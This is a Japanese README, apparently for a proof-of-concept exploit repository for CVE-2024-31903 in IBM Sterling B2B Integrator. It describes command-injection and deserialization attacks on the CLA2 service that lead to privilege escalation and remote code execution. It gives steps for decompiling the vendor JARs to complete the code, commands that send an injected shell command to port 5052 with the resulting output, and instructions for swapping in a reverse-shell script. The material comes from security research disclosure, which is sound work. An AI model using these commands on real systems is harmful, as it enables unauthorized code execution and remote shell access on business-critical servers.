
IBM Sterling B2Bインテグレーターに対するLPEおよびRCE攻撃(CVE-2024-31903)のPoCコード
IBM Sterling B2B Integrator(バージョン6.2.0.0~6.2.0.2、および6.0.0.0~6.1.2.5)のLinux、Windows、AIXシステムに対して発見された脆弱性を悪用するための概念実証コード:
これらの問題の詳細は、私のDistricCon講演「To B or not 2B: Breaking the IBM B2B Integrator with, and without authentication」でご覧いただけます:
https://www.districtcon.org/bios-and-talks-2025/to-b-or-not-to-b
このリポジトリ内のコードのほとんどは、LPEコマンドインジェクション攻撃に関するものです。
Pythonバイナリクライアント bin_client.py を使用して、CLA2に手動でメッセージを送信し、デシリアライゼーションRCE脆弱性を悪用できます。
$ java Main
$ Usage: Main <cmdLine> <outfile_or_SEND> [host] [port]
PoCは2つのパラメータを受け入れます:
bin_client.py などでさらに分析したり手動で送信したりするため)、または文字列 "SEND" を指定してCLA2クライアントが待機しているホスト:ポートに即座に送信するこのリポジトリに含まれるソースコードは、CLA2サブシステムの特定のクラスが必要であるため、意図的に不完全です。インストールディレクトリのファイルシステム権限によっては、JARファイルにアクセスできる場合があります。
JARの逆コンパイルから関連ファイルを取得したと仮定します。これらはIBMの知的財産を構成するため、ここにはアップロードされません。
CLA2Client.jar を逆コンパイルします
逆コンパイルされたコード内で、ファイル CmdLine2Result.java と CmdLine2Parms.java を見つけます
それらを Main.java の隣にコピー&ペーストし、元のアプリケーションのJavaパッケージのディレクトリ構造を再現します
/src/com/sterlingcommerce/woodstock/services/cmdline2/
${B2BHOME}/INSTALL/jdk/bin/javac src/com/sterlingcommerce/woodstock/services/cmdline2/*.java
${B2BHOME}/appl/SFG/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main '/bin/sh -c "id > /tmp/result"' SEND 127.0.0.1 5052
[+] Creating object...
[+] Sending object to 127.0.0.1:5052...
[+] ...Sent!
[+] Receiving header...
[+] ...header received: RESULT
[+] Receiving result...
[+] Result received:
##[DEBUG]## CmdLine2Result:
fileSize=0
outputNameLong=null
outputNameShort=null
******* end of CmdLine2Result *******
[+] clr.statusRpt: null
[+] clr.exceptionString: null
[+] clr.somethingToLog: CmdLine2Thread.runCommand: cmdLine before execution=/bin/sh -c "id > /tmp/result"
##[REMOTE DEBUG]## parm0=/bin/sh
##[REMOTE DEBUG]## parm1=-c
##[REMOTE DEBUG]## parm2=id > /tmp/result
revshell.py と revshell_listener.py スクリプトをターゲットシステムにアップロードし、リスナーを起動します。次に、PoCのコマンドパラメータを以下のようにリバースシェルスクリプトの呼び出しに置き換えます:${B2BHOME}/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main 'python3 /tmp/revshell.py 9090' SEND